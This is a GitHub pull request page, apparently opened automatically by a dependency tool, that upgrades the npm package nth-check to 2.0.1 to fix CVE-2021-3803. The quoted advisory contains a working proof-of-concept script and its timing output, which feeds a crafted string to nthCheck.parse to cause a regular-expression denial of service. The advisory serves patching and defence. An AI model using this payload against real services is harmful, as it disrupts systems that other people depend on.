Skip to content

📦 Bump npm:nth-check:2.0.0 from 2.0.0 to 2.0.1#2

Open
softforgeinc wants to merge 1 commit intomainfrom
devtask/LINEAJE-TASK-36225
Open

📦 Bump npm:nth-check:2.0.0 from 2.0.0 to 2.0.1#2
softforgeinc wants to merge 1 commit intomainfrom
devtask/LINEAJE-TASK-36225

Conversation

@softforgeinc
Copy link
Contributor

Lineaje has automatically created this pull request to resolve the following CVEs:

CVE ID Severity Description
CVE-2021-3803 High There is a Regular Expression Denial of Service (ReDoS) vulnerability in
nth-check that causes a denial of service when parsing crafted invalid CSS
nth-checks. The ReDoS vulnerabilities of the regex are mainly due to the
sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and
can be exploited with the following code. Proof of Concept js // PoC.js<br>var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time =<br>Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try {<br>nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time;<br>console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }<br>} The Output attack_str.length: 10003: 174 ms attack_str.length:<br>20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378<br>ms attack_str.length: 50003: 7473 ms

You can merge this PR once the tests pass and the changes are reviewed.

Thank you for reviewing the update! 🚀

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

Comments